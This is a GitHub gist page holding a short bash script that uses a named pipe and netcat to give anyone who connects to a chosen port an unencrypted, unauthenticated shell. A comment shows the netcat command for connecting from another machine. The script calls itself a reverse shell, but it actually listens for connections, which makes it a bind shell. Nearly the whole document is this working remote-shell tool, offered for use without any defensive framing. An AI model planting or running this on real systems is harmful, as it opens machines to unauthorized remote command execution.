Skip to content

Instantly share code, notes, and snippets.

@jacobsalmela
Created August 13, 2014 12:37

Revisions

  1. jacobsalmela created this gist Aug 13, 2014.
    30 changes: 30 additions & 0 deletions nc-reverse-shell.sh
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,30 @@
    #!/bin/bash
    #----------AUTHOR------------
    # Jacob Salmela
    # 9 April 2013

    #---------DESCRIPTION--------
    # Serves up an unencrypted, reverse-shell when the -e option is unavailable
    # Much less reliable (command lag), but useful in a pinch

    #----------FUNCTIONS---------
    function poorPersonsReverseShell()
    {
    # Create a named pipe (a "permanent pipe")
    mkfifo /tmp/pipesh

    # Assign /bin/bash to the named pipe and use netcat to listen for incoming connections
    /bin/bash /tmp/pipesh | nc -l <port_number> > /tmp/pipesh

    # To connect to the reverse-shell, use the same port number from above and run the command
    #
    # nc <server_ip> <port_number>

    # Commands can be entered locally, but will run on the remote machine
    # Often, there is lag and a command will not return STDOUT/ERR but it still seems to run
    }

    #----------------------------
    #-----------SCRIPT-----------
    #----------------------------
    poorPersonsReverseShell